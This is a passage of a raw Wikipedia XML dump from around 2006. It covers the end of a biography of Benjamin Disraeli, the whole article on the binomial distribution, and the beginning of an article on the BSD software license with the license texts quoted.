be a lost cause. The other great party, the Whigs, was apparently anathema to Disraeli: &quot;Toryism is worn out &amp; I cannot condescend to be a Whig.&quot; {{ref|blake.disraeli.87}}

Though he initially stood for election, unsuccessfully, as a Radical, Disraeli was a progressive [[Tory]] by the time he won a seat in the [[House of Commons]] in 1837 representing the constituency of [[Maidstone]]. The next year he settled his private life by marrying [[Mary Anne Disraeli, 1st Viscountess Beaconsfield|Mary Anne Lewis]], the widow of [[Wyndham Lewis]], Disraeli's erstwhile colleague at Maidstone.

[[Image:Lord John Manners.jpg|right|thumb|caption|'''Lord John Manners'''&lt;br&gt;&lt;small&gt;Friend of Disraeli, and leading figure in the [[Young England]] movement&lt;/small&gt;]]
Although nominally a Conservative, Disraeli was sympathetic to some of the demands of the [[Chartists]] and argued for an alliance between the landed aristocracy and the working class against the increasing power of the middle class, helping to found the [[Young England]] group in 1842 to promote the view that the rich should use their power to protect the poor from exploitation by the middle class. During the twenty years which separated the Corn Laws and the Second Reform Bill Disraeli would seek Tory-Radical alliances, to little avail.

[[Prime Minister of the United Kingdom|Prime Minister]] [[Robert Peel|Sir Robert Peel]] passed over Disraeli when putting together his [[First Peel ministry|government]] in 1841 and Disraeli, hurt, gradually became a sharp critic of Peel's government, often deliberately adopting positions contrary to those of his nominal chief. The best known of these cases was the [[Maynooth grant]] in [[1845]] and the repeal of the [[Corn Laws]] in [[1846]]. The end of 1845 and the first months of 1846 were dominated by the battle in parliament between the free traders and the protectionists over the repeal of the Corn Laws, with the latter rallying around Disraeli and [[Lord George Bentinck]]. An alliance of pro-Peel Conservatives, Radicals, and [[Whigs]] carried repeal, but the Conservative Party split in half. Peel and his followers, known as [[Peelites]], moved towards the Whigs, while a new Conservative Party formed around the protectionists, led by Disraeli, Bentinck, and [[Edward Smith-Stanley, 14th Earl of Derby|Lord Stanley]] (later '''Lord Derby''').

===In Office===
====The First Derby government====
{{main|Who? Who? Ministry}}
The first opportunity for Disraeli, Stanley, and the protectionist Tories to take office had come in 1851, when [[John Russell, 1st Earl Russell|Lord John Russell]]'s [[First Russell Ministry|government]] had been defeated in the House of Commons over the [[Ecclesiastical Titles Act 1851]]. Disraeli was to have been [[Secretary of State for the Home Department|Home Secretary]], with Stanley (who became the Earl of Derby later that year) as Prime Minister. The [[Peelites]], however, refused to serve under Stanley or with Disraeli, and attempts to create a purely protectionist government failed. {{ref|blake.disraeli.301-305}}

Russell resumed office, but resigned again in early 1852 when a combination of the protectionists and [[Henry John Temple, 3rd Viscount Palmerston|Lord Palmerston]] defeated him on a Militia Bill. This time [[Edward Smith-Stanley, 14th Earl of Derby|Lord Derby]] (as he had become) took office, and appointed Disraeli [[Chancellor of the Exchequer]] and [[Leader of the House of Commons]]. A combination of bad timing and a lack of experience led to the failure of Disraeli's first Budget and the fall of the government in December of that year. [[Image:14th Earl of Derby.jpg|left|thumb|caption|'''The Earl of Derby'''&lt;br&gt;&lt;small&gt;Prime Minister 1852, 1858-59, 1866-68]]His duel, nonetheless, with [[William Ewart Gladstone]] over the Budget marked the beginning of over twenty years of parliamentary hostility.

====The Second Derby government====
{{main|Second Derby Ministry}}
In 1858, Derby returned to the office of the Prime Minister and again appointed Disraeli his Chancellor of the Exchequer and government leader of the House of Commons (as the Prime Minister sat in the [[House of Lords]]) with responsibilities to introduce reforms to parliament but his reforms would have disenfranchised some voters in the towns and were opposed by the Liberals and defeated. The ministry fell in 1859 and Disraeli returned to the [[opposition bench]] until 1866 when he again became Chancellor of the Exchequer and government leader in the House of Commons. 

After engineering the defeat of a Liberal Reform Bill introduced by Gladstone in 1866, Disraeli and Derby introduced their own measure in 1867. [[Image:Gladstone.jpg|right|thumb|'''William Ewart Gladstone'''&lt;br&gt;&lt;small&gt;Four-time Prime Minister&lt;/small&gt;]]This was primarily a political strategy designed to give Conservatives control of the reform process and thereby long term benefits in the Commons, similar to those derived by the Whigs after the 1832 Reform Act. The [[Reform Act of 1867]] extended the franchise by 1,500,000 by giving the vote to male householders and male lodgers paying at least 10 pounds for rooms and eliminating [[rotten borough]]s with fewer than 10,000 inhabitants and granting constituencies to fifteen unrepresented towns and extra representation in parliament to larger towns such as Liverpool and Manchester, which had previously been underrepresented in [[Parliament]]. This act was unpopular with the right wing of the Conservative Party, most notably [[Robert Gascoyne-Cecil, 3rd Marquess of Salisbury|Lord Cranborne]] (later the '''Marquess of Salisbury'''), who resigned from the government and spoke against the bill. Cranborne, however, was unable to lead a rebellion similar to that which Disraeli had led against Peel twenty years earlier.

Disraeli's involvement in the passing of the Second Reform Act 1867 is largely seen as a cyncial example of political opportunism. {{ref|second.reform.opportunistic}}

===Prime Minister===
{{main|First Disraeli ministry}}
Derby's health had been declining for some time and he finally resigned as Prime Minister in late February of 1868; he would live for another twenty months. Disraeli's efforts over the past two years had dispelled, for the time being, any doubts about him succeeding Derby as leader of the Conservative Party and therefore Prime Minister. As Disraeli remarked, &quot;I have climbed to the top of the greasy pole.&quot; {{ref|blake.disraeli.485-487}} [[Image:3rd Marquess of Salisbury.jpg|left|thumb|'''The Marquess of Salisbury'''&lt;br&gt;&lt;small&gt;Three-time Prime Minister&lt;/small&gt;]]

However, the Conservatives were still a minority in the House of Commons, and the enaction of the Reform Bill required the calling of new election once the new voting register had been compiled. Disraeli's term as Prime Minister would therefore be fairly short, unless the Conservatives won the general election. He made only two major changes in the cabinet: he replaced [[Frederic Thesiger, 1st Baron Chelmsford|Lord Chelmsford]] as [[Lord Chancellor]] with [[Hugh Cairns, 1st Earl Cairns|Lord Cairns]], and brought in [[George Ward Hunt]] as [[Chancellor of the Exchequer]]. Disraeli and Chelmsford had never gotten along particularly well, and Cairns, in Disraeli's view, was a far stronger minister. {{ref|blake.disraeli.487-489}}

Disraeli's first premiership was dominated by the heated debate over the [[Established Church|established]] [[Church of Ireland]]. Although [[Ireland]] was (and remains) overwhelmingly [[Roman Catholic]], the [[Protestant]] Church remained the established church and was funded by direct taxation. An initial attempt by Disraeli to negotiate with [[Henry Edward Cardinal Manning|Cardinal Manning]] the establishment of a Roman Catholic university in [[Dublin]] foundered in mid-March when [[William Ewart Gladstone|Gladstone]] moved resolutions to dis-establish the Irish Church altogether. The proposal divided the Conservative Party while reuniting the [[Liberal Party (UK)|Liberals]] under Gladstone's leadership. While Disraeli's government survived until the [[United Kingdom general election, 1868|December general election]], the initiative had passed away.{{ref|blake.disraeli.496-502}}

====Second administration====
{{main|Second Disraeli ministry}}
However, in the [[United Kingdom general election, 1868|election]] that followed, William Gladstone and the Liberals were returned to power with a majority of 170. After six years in opposition, Disraeli and the Conservative Party won the [[United Kingdom general election, 1874|election]] giving the party its first absolute [[majority government|majority]] in the House of Commons since the 1840s. Disraeli's government introduced various reforms such as the Artisans Dwellings Act (1875), the Public Health Act (1875), the Pure Food and Drugs Act (1875), the Climbing Boys Act (1875), the Education Act (1876).  His government also introduced a new [[Factory Act]] meant to protect workers, the Conspiracy and Protection of Property Act (1875) to allow peaceful picketing and the Employers and Workmen Act (1878) to enable workers to sue employers in the civil courts if they broke legal contracts.
[[Image:old_disraeli.jpg|right|thumb|Disraeli and [[Victoria of the United Kingdom|Queen Victoria]].]]
Disraeli was a staunch British [[imperialism|imperialist]] and helped strengthen the [[British Empire]] with his support for the construction of the [[Suez Canal]]. He also achieved a diplomatic success at the [[Congress of Berlin]] in 1878 in limiting the growing influence of [[Russia]] in the [[Balkan]]s and breaking up the [[League of the Three Emperors]]. However, difficulties in South Africa and Afghanistan weakened his government and likely led to his party's defeat in the 1880 election.

He was elevated to the House of Lords in 1876 when [[Victoria of the United Kingdom|Queen Victoria]] made him [[Earl of Beaconsfield]]. He remained Prime Minister until 1880 when the Conservatives were defeated by [[William Gladstone]]'s Liberals in that year's general election. Disraeli became ill soon after and died in April 1881. His [[literary executor]] and for all intents and purposes his heir was his private secretary, [[Montagu Corry, 1st Baron Rowton|Lord Rowton]].

==Disraeli's governments==
*[[First Disraeli Ministry]] (February&amp;ndash;December 1868)
*[[Second Disraeli Ministry]] (February 1874&amp;ndash;April 1880)

==Works by Disraeli==
[[Image:Benjamin Disraeli, 1st Earl of Beaconsfield - Project Gutenberg eText 13619.jpg|thumb|Line drawing of Disraeli]]

====Fiction====
*''[[Vivian Grey]]'' (1826; {{gutenberg|no=9840|name=Vivian Grey}})
*''[[Popanilla]]'' (1828; {{gutenberg|no=7816|name=Popanilla}})
*''[[The Young Duke]]'' (1831)
*''[[Contarini Fleming]]'' (1832)
*''[[Alroy]]'' (1833)
*''[[The Infernal Marriage]]'' (1834)
*''[[Ixion in Heaven]]'' (1834)
*''[[The Revolutionary Epick]]'' (1834)
*''[[The Rise of Iskander]]'' (1834; {{gutenberg|no=7842|name=The Rise of Iskander}})
*''[[Henrietta Temple]]'' (1837)
*''[[Venetia (novel)|Venetia]]'' (1837; {{gutenberg|no=11869|name=Venetia}})
*''[[The Tragedy of Count Alarcos]]'' (1839); {{gutenberg|no=7487|name=The Tragedy of Count Alarcos}})
*''[[Coningsby (novel)|Coningsby]], or the New Generation'' (1844; {{gutenberg|no=7412|name=Coningsby}})
*''[[Sybil (novel)]], or The Two Nations'' (1845; {{gutenberg|no=3760|name=Sybil or, The Two Nations}})
*''[[Tancred (novel)|Tancred]], or the New Crusade'' (1847)
*''[[Lothair (novel)|Lothair]]'' (1870; {{gutenberg|no=7835|name=Lothair}})
*''[[Endymion (novel)|Endymion]]'' (1880; {{gutenberg|no=7926|name=Endymion}})
*''[[Falconet (book)]]'' (unfinished 1881)

====Non-fiction====
*''[[An Inquiry into the Plans, Progress, and Policy of the American Mining Companies]]'' (1825)
*''[[Lawyers and Legislators]]: or, Notes, on the American Mining Companies'' (1825)
*''[[The present state of Mexico]]'' (1825)
*''England and France, or a Cure for the Ministerial [[Gallomania]]'' (1832)
*''[[What Is He?]]'' (1833)
*''[[The Letters of Runnymede]]'' (1836)
*''[[Lord George Bentinck (book)|Lord George Bentinck]]'' (1852)
[[Image:Benjamin-Disraeli-arms.PNG|thumb|right|150px|Arms of Benjamin Disraeli]]
==Biographies of Disraeli== 

*[[Robert Blake, Baron Blake|Robert Blake]], ''Disraeli'' (1966)
*Sarah Bradford, ''Disraeli'' ([[1982 in literature|1982]])
*Christopher Hibbert, ''Disraeli and His World'' ([[1978 in literature|1978]])
*Christopher Hibbert, ''Disraeli, a Personal History'' ([[2004 in literature|2004]])
*[[André Maurois]], ''Disraeli'' ([[1927 in literature|1927]])
*[[Hesketh Pearson]], ''Dizzy'' ([[1951 in literature|1951]])
*Jane Ridley, ''Young Disraeli, 1804-1846'' ([[1995 in literature|1995]])
*Stanley Weintraub, ''Disraeli'' ([[1993 in literature|1993]])

==References in Modern Culture==
*The episode of the animated television show ''[[Family Guy]]'' entitled &quot;One If By Clam, Two If By Sea&quot; features Disraeli.  Lois tells Peter that all British men are charming, to which Peter responds: &quot;That's what they said about Benjamin Disraeli.&quot; The scene then cuts to Disraeli sitting at a desk writing with a quill; he looks at the camera and says, &quot;You don't even know who I am.&quot;

*The 1967 [[Cream (band)|Cream]] album [[Disraeli Gears]] takes its name from a roadie's confusion between the name D'Israeli and the [[derailleur]] gears of a bicycle.

*Disraeli Street in Epsom, Auckland is in an affluent, desirable residential area. He was not given the honour of a town or another major placemark namesake in [[New Zealand]], like earlier Prime Ministers such as Palmerston ([[Palmerston North]]) or Pitt ([[Pitt Island]]).

==Films about Disraeli==
*''[[Disraeli (movie)|Disraeli]]'' ([[1929 in film|1929]]) [[George Arliss]] ([[Academy Award for Best Actor|Best Actor Oscar]]), [[Joan Bennett]]
*''[[The Mudlark]]'' ([[1950 in film|1950]]) [[Alec Guinness]]
*''[[Disraeli (movie)|Disraeli]]'' ([[1978 in film|1978]]) [[Ian McShane]], [[Mary Peach]] (''[[Masterpiece Theatre]]'' four-part series)
*''[[Mrs. Brown]]'' ([[1997 in film|1997]])[[Sir Antony Sher]]

==Notes==
&lt;div style=&quot;font-size: 85%&quot;&gt;
#{{note|blake.disraeli.84-86}} Robert Blake, ''Disraeli'', (New York, 1966), 84-86.
#{{note|blake.disraeli.87}} ''Ibid'', 87
#{{note|blake.disraeli.301-305}} ''Ibid'', 301-305.
#{{note|second.reform.opportunistic}} Sean Lang, ''Parliamentary Reform, 1785-1928'', (Routledge, 1999), ''passim''.
#{{note|blake.disraeli.485-487}} Blake, ''Disraeli'', 485-487.
#{{note|blake.disraeli.487-489}} ''Ibid'', 487-489.
#{{note|blake.disraeli.496-502}} ''Ibid'', 496-502.
&lt;/div&gt;

==References==
&lt;!--Please note that in the real world references means those works used in creating the article, NOT random snippets of popular culture --the Mgmt
--&gt;
* {{DisraeliRef}}
* Jerman, B. R. ''The Young Disraeli''. [[1960 in literature|1960]].

==See also==
*[[History of the Jews in England]]

==External links==
{{wikiquote}}
{{wikisource author|Benjamin Disraeli}}
*{{gutenberg author | id=Benjamin+Disraeli | name=Benjamin Disraeli}}
*[http://www.weeklystandard.com/Content/Public/Articles/000/000/005/198cdapm.asp Disraeli as the inventor of modern conservatism] at ''[[The Weekly Standard]]''
&lt;br&gt;

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[[Category:1804 births|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:1881 deaths|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:British MPs|Disraeli, Benjamin]]
[[Category:Chancellors of the Exchequer|Disraeli, Benjamin]]
[[Category:Earls in the Peerage of the United Kingdom|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:Anglicans|Disraeli, Benjamin]]
[[Category:Jewish-English people|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:Knights of the Garter|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:Leaders of the British Conservative Party|Disraeli, Benjamin]]
[[Category:Londoners|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:Lords Privy Seal|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:People of Buckinghamshire|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:Prime Ministers of the United Kingdom|Disraeli, Benjamin]]
[[Category:English novelists|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:English biographers|Beaconsfield, Benjamin Disraeli, 1st Earl of]]
[[Category:English non-fiction writers|Beaconsfield, Benjamin Disraeli, 1st Earl of]]

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[[fr:Benjamin Disraeli]]
[[gl:Benjamin Disraeli]]
[[id:Benjamin Disraeli, 1st Earl of Beaconsfield]]
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[[uk:Дізраелі Бенджамін]]
[[zh:本杰明·迪斯雷利 (比肯斯菲尔德伯爵)]]</text>
    </revision>
  </page>
  <page>
    <title>Binomial distribution</title>
    <id>3876</id>
    <revision>
      <id>39656025</id>
      <timestamp>2006-02-14T23:41:07Z</timestamp>
      <contributor>
        <username>Linas</username>
        <id>159886</id>
      </contributor>
      <comment>ad cat [[Category:Factorial and binomial topics]]</comment>
      <text xml:space="preserve">&lt;!-- EDITORS! Please see [[Wikipedia:WikiProject Probability#Standards]] for a discussion of standards used for probability distribution articles such as this one. --&gt;{{Probability distribution|
  name       =Binomial|
  type       =mass|
  pdf_image  =|
  cdf_image  =|
  parameters =&lt;math&gt;n \geq 0&lt;/math&gt; number of trials ([[integer]])&lt;br /&gt;&lt;math&gt;0\leq p \leq 1&lt;/math&gt; success probability ([[real number|real]])|
  support    =&lt;math&gt;k \in \{0,\dots,n\}\!&lt;/math&gt;|
  pdf        =&lt;math&gt;{n\choose k} p^k (1-p)^{n-k} \!&lt;/math&gt;|
  cdf        =&lt;math&gt;I_{1-p}(n-\lfloor k\rfloor, 1+\lfloor k\rfloor) \!&lt;/math&gt;|
  mean       =&lt;math&gt;n\,p\!&lt;/math&gt;|
  median     =one of &lt;math&gt;\{\lfloor n\,p\rfloor-1, \lfloor n\,p\rfloor, \lfloor n\,p\rfloor+1\}&lt;/math&gt;|
  mode       =&lt;math&gt;\lfloor (n+1)\,p\rfloor\!&lt;/math&gt;|
  variance   =&lt;math&gt;n\,p\,(1-p)\!&lt;/math&gt;|
  skewness   =&lt;math&gt;\frac{1-2\,p}{\sqrt{n\,p\,(1-p)}}\!&lt;/math&gt;|
  kurtosis   =&lt;math&gt;\frac{1-6\,p\,(1-p)}{n\,p\,(1-p)}\!&lt;/math&gt;|
  entropy    =|
  mgf        =&lt;math&gt;(1-p + p\,e^t)^n \!&lt;/math&gt;|
  char       =&lt;math&gt;(1-p + p\,e^{i\,t})^n \!&lt;/math&gt;|
}}
:''See [[binomial (disambiguation)]] for a list of other topics using that name.''

In [[probability theory]] and [[statistics]], the '''binomial distribution''' is the discrete [[probability distribution]] of the number of successes in a sequence of ''n'' [[statistical independence|independent]] yes/no experiments, each of which yields success with [[probability]] ''p''. Such a success/failure experiment is also called a Bernoulli experiment or [[Bernoulli trial]].  In fact, when ''n'' = 1, then the binomial distribution is the [[Bernoulli distribution]].  The binomial distribution is the basis for the popular [[binomial test]] of [[statistical significance]].

==Occurrence==

A typical example is the following: assume 5% of the population is HIV-positive. You pick 500 people randomly. How likely is it that you get 30 or more HIV-positives?
The number of HIV-positives you pick is a [[random variable]] ''X'' which follows a binomial distribution with ''n'' = 500 and ''p'' = 0.05 (when picking the people with replacement). We are interested in the probability Pr[''X'' &amp;ge; 30].

==Specification==

===Probability mass function===

In general, if the random variable ''X'' follows the binomial distribution with parameters ''n'' and ''p'', we write ''X'' ~ B(''n'', ''p''). The probability of getting exactly ''k'' successes is given by the [[probability mass function]]:

:&lt;math&gt;f(k;n,p)={n\choose k}p^k(1-p)^{n-k}\,&lt;/math&gt;

for &lt;math&gt;k=0,1,2,\dots,n&lt;/math&gt; and where

:&lt;math&gt;{n\choose k}=\frac{n!}{k!(n-k)!}&lt;/math&gt;

is the [[binomial coefficient]] &quot;''n'' choose ''k''&quot; (also denoted ''C''(''n'', ''k'') or ''n''C''k''), whence the name of the distribution. The formula can be understood as follows: we want ''k'' successes (''p''&lt;sup&gt;''k''&lt;/sup&gt;) and ''n'' &amp;minus; ''k'' failures ((1 &amp;minus; ''p'')&lt;sup&gt;''n'' &amp;minus; ''k''&lt;/sup&gt;). However, the ''k'' successes can occur anywhere among the ''n'' trials, and there are C(''n'', ''k'') different ways of distributing ''k'' successes in a sequence of ''n'' trials.

===Distribution function===

The [[cumulative distribution function]] can be expressed in terms of the [[regularized incomplete beta function]], as follows:

:&lt;math&gt; F(k;n,p) = I_{1-p}(n-k, k+1) \!&lt;/math&gt;.

For &lt;math&gt;k \leq n\,p&lt;/math&gt;, [[Chernoff bound|upper bounds]] for the lower tail of the distribution function can be derived.  In particular, [[Hoeffding's inequality]] yields the bound

:&lt;math&gt; F(k;n,p) \leq \exp\left(-2 \frac{(n\,p-k)^2}{n}\right), \!&lt;/math&gt;

and [[Chernoff's inequality]] can be used to derive the bound

:&lt;math&gt; F(k;n,p) \leq \exp\left(-\frac{1}{2\,p} \frac{(n\,p-k)^2}{n}\right). \!&lt;/math&gt;

==Mean, standard deviation, and mode==

If ''X'' ~ B(''n'', ''p'') (that is, ''X'' is a binomially distributed random variate), then the [[expected value]] of ''X'' is

:&lt;math&gt;E[X]=np\,&lt;/math&gt;

and the [[variance]] is

:&lt;math&gt;\mbox{var}(X)=np(1-p).\,&lt;/math&gt;

This fact is easily proven as follows.  Suppose first that we have exactly one Bernoulli trial.  We have two possible outcomes, 1 and 0, with the first having probability ''p'' and the second having probability 1&amp;nbsp;&amp;minus;&amp;nbsp;''p''; the mean for this trial is given by &amp;mu;&amp;nbsp;=&amp;nbsp;''p''.  Using the usual formula for standard deviation, we have

:&lt;math&gt;\sigma = \sqrt{\sum_{k=1}^n (x_k - \mu)^2 f(x_k)} = \sqrt{(1 - p)^2p + (-p)^2(1 - p)} = \sqrt{p(1-p)} \Rightarrow \sigma^2 = p(1 - p).&lt;/math&gt;

Now suppose that we want the variance for ''n'' such trials (i.e. for the general binomial distribution).  Since the trials are independent, we may add the variances for each trial, giving

:&lt;math&gt;\sigma^2_n = \sum_{k=1}^n \sigma^2 = np(1 - p). \quad \Box&lt;/math&gt;

The most likely value or [[mode (statistics)|mode]] of ''X'' is given by the largest integer less than or equal to (''n''&amp;nbsp;+&amp;nbsp;1)''p''; if ''m'' = (''n''&amp;nbsp;+&amp;nbsp;1)''p'' is itself an integer, then ''m''&amp;nbsp;&amp;minus;&amp;nbsp;1 and ''m'' are both modes.

==Is it a binomial distribution?  A [[mnemonic]]==
*Bi = Are there TWO possible outcomes? (i.e., yes or no, win or lose)
*Nom = Is there a fixed NUMBER of observations or items of interest?
*I = Is each observation INDEPENDENT?
*Al = Is the probability for ALL outcomes equal?

(However, the letters ''nom'' are actually derived from a [[Latin]] word that means &quot;name&quot;, not &quot;number&quot;.)

==Relations to other distributions==

*If ''X'' ~ B(''n'', ''p'') and ''Y'' ~ B(''m'', ''p'') are independent binomial variables, then ''X'' + ''Y'' is again a binomial variable; its distribution is 

::&lt;math&gt;X+Y \sim B(n+m, p).\,&lt;/math&gt;

:Two other important distributions arise as approximations of binomial distributions:

[[image:BinDistApprox_large.png|right|250px|thumb|Binomial PDF and normal approximation for ''n'' = 6 and ''p'' = 0.5.]]

*If ''n'' is large enough and the skew of the distribution is not too great, then an excellent approximation(provided a suitable [[continuity correction]] is used) to B(''n'', ''p'') is given by the [[normal distribution]]

::&lt;math&gt; N(np, np(1-p)).\,&lt;/math&gt;

:Specifically, if both ''np'' and ''n''(1 &amp;minus; ''p'') are greater than 5 (the specific number varies from source to source, and is arbitrary; some sources give 10), then the normal approximation is suitable.  Another commonly used &quot;rule&quot; holds that the above normal approximation is appropriate only if 

::&lt;math&gt;\mu \pm 3 \sigma = np \pm 3 \sqrt{np(1-p)} \in [0,n]&lt;/math&gt;.

:This approximation is a huge time-saver; historically, it was the first use of the normal distribution, introduced in [[Abraham de Moivre]]'s book ''[[The Doctrine of Chances]]'' in 1733. Nowadays, it can be seen as a consequence of the [[central limit theorem]] since B(''n'', ''p'') is a sum of ''n'' independent, identically distributed 0-1 [[indicator variable]]s. '''Warning:''' this approximation gives inaccurate results unless a [[continuity correction]] is used. '''Note:''' that the picture gives the normal and binomial [[probability density function]]s (PDF) and not the [[cumulative distribution function]]s.

:For example, suppose you randomly sample ''n'' people out of a large population and ask them whether they agree with a certain statement. The proportion of people who agree will of course depend on the sample. If you sampled groups of ''n'' people repeatedly and truly randomly, the proportions would follow an approximate normal distribution with mean equal to the true proportion ''p'' of agreement in the population and with standard deviation &amp;sigma; = (''p''(1 &amp;minus; ''p'')/''n'')&lt;sup&gt;1/2&lt;/sup&gt;. Large sample sizes ''n'' are good because the standard deviation gets smaller, which allows a more precise estimate of the unknown parameter ''p''.

*If ''n'' is large and ''p'' is small, so that ''np'' is of moderate size, then the [[Poisson distribution]] with parameter &amp;lambda; = ''np'' is a good approximation to B(''n'', ''p'').

The formula for [[Bézier curve]]s was inspired by the binomial distribution.

==Limits of binomial distributions==

* As ''n'' approaches &amp;infin; and ''p'' approaches 0 while ''np'' remains fixed at &amp;lambda;&amp;nbsp;&gt;&amp;nbsp;0 or at least ''np'' approaches &amp;lambda;&amp;nbsp;&gt;&amp;nbsp;0, then the Binomial(''n'',&amp;nbsp;''p'') distribution approaches the [[Poisson distribution]] with [[expected value]] &amp;lambda;.

* As ''n'' approaches &amp;infin; while ''p'' remains fixed, the distribution of

::&lt;math&gt;{X-np \over \sqrt{np(1-p)\ }}&lt;/math&gt;

:approaches the [[normal distribution]] with expected value 0 and [[variance]] 1.

==References==

* Luc Devroye, ''Non-Uniform Random Variate Generation'', New York: Springer-Verlag, 1986. ''See especially [http://cgm.cs.mcgill.ca/~luc/chapter_ten.pdf Chapter X, Discrete Univariate Distributions].''
* Voratas Kachitvichyanukul and Bruce W. Schmeiser, Binomial random variate generation, ''[[Communications of the ACM]]'' 31(2):216–222, February 1988. {{doi|10.1145/42372.42381}}

==See also==
*[[beta distribution]]
*[[multinomial distribution]]
*[[negative binomial distribution]]
*[[Poisson distribution]]

[[Category:Discrete distributions]]

==External links==

* [http://www.adsciengineering.com/bpdcalc/ Binomial Probability Distribution Calculator]

[[Category:Factorial and binomial topics]]

[[de:Binomialverteilung]]
[[es:Distribución Binomial]]
[[fr:Loi binomiale]]
[[it:Variabile casuale binomiale]]
[[he:התפלגות בינומית]]
[[lt:Binominis skirstinys]]
[[nl:Binomiale verdeling]]
[[ja:二項分布]]
[[pl:Rozkład dwumianowy]]
[[su:Sebaran binomial]]
[[fi:Binomijakauma]]
[[sv:Binomialfördelning]]
[[zh:二項分佈]]</text>
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  </page>
  <page>
    <title>BSD license</title>
    <id>3877</id>
    <revision>
      <id>41344635</id>
      <timestamp>2006-02-26T19:06:49Z</timestamp>
      <contributor>
        <username>TJFrazier</username>
        <id>702033</id>
      </contributor>
      <minor />
      <comment>/* BSD-style licenses */ typo</comment>
      <text xml:space="preserve">The '''BSD license''' is an acronym for the [[Berkeley Software Distribution]] [[license]] agreement, and is one of the most widely used [[free software licenses|licenses for]] [[free software]] (a [[Open_source_vs._free_software|subset]] of [[open source software]]).  Many software programs are released under this license including [[BSD|BSD software]] (largely, a version of [[Unix|UNIX]]) for which the license was named.  

The owner of the original BSD distribution was the &quot;[[Regents of the University of California]]&quot;. This is because BSD originally came from the [[University of California, Berkeley]]. The official BSD license has been revised since its inception, and has inspired numerous variants used by others to license their software programs (see &quot;BSD-style licenses&quot; section below).

This license has few restrictions on it compared to other licenses such as the [[GNU General Public License]] or even the default restrictions provided by [[copyright]], putting it relatively closer to the [[public domain]].  (Indeed, the BSD License has been referred to as ''copycenter'', for comparison to both standard copyright and the GPL's [[copyleft]]: &quot;Take it down to the copy center and make as many copies as you want.[http://catb.org/~esr/jargon/html/C/copycenter.html]&quot;)

== Terms of the BSD license ==

The text of the license is considered to be in the [[public domain]] and thus may be modified without restriction.  To suit the needs of a particular individual or organization, one should switch out the terms 'Regents of the University of California', 'University of California, Berkeley', and 'Regents' with their own name.

 * Copyright (c) 1998, Regents of the University of California
 * All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *     * Redistributions of source code must retain the above copyright
 *       notice, this list of conditions and the following disclaimer.
 *     * Redistributions in binary form must reproduce the above copyright
 *       notice, this list of conditions and the following disclaimer in the
 *       documentation and/or other materials provided with the distribution.
 *     * Neither the name of the University of California, Berkeley nor the
 *       names of its contributors may be used to endorse or promote products
 *       derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS &quot;AS IS&quot; AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
 * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

=== Compatibility with proprietary software licenses ===

The BSD License allows proprietary commercial use, and for the software released under the license to be incorporated into proprietary commercial products. Works based on the material may even be released under a proprietary license. Some notable examples of this are the use of BSD networking code in [[Microsoft]] products, and the use of numerous [[FreeBSD]] components in [[Mac OS X]].  

It is possible for something to be distributed with the BSD License and some other license to apply as well. This was in fact the case with very early versions of [[BSD Unix]] itself, which included proprietary material from [[AT&amp;T]].

=== Compatibility with other free software licenses ===

As originally written, the BSD license contained terms that made it incompatible [http://www.gnu.org/philosophy/license-list.html#OriginalBSD] with the [[GNU General Public License]] (see the &quot;advertising clause&quot; section below).  As these are among the most commonly-used licensing agreements for free and open source software, it was a serious problem for software authors to be unable to mix GPL and BSD components in their own projects.  As of a revision to the BSD license in 1999, the controversial clause was removed.  Since then, authors of free and open source software have been free to incorporate BSD-licensed software with GPL-licensed works.

== The UC Berkeley advertising clause ==

As originally distributed, the BSD license had an extra clause, requiring authors of all works deriving from a BSD-licensed work to include an acknowledgment of the original source.  This is numbered as clause 3 in the original licence text:

 * Copyright (c) 1982, 1986, 1990, 1991, 1993
 *      The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by the University of
 *      California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS &lt;nowiki&gt;``AS IS''&lt;/nowiki&gt; AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
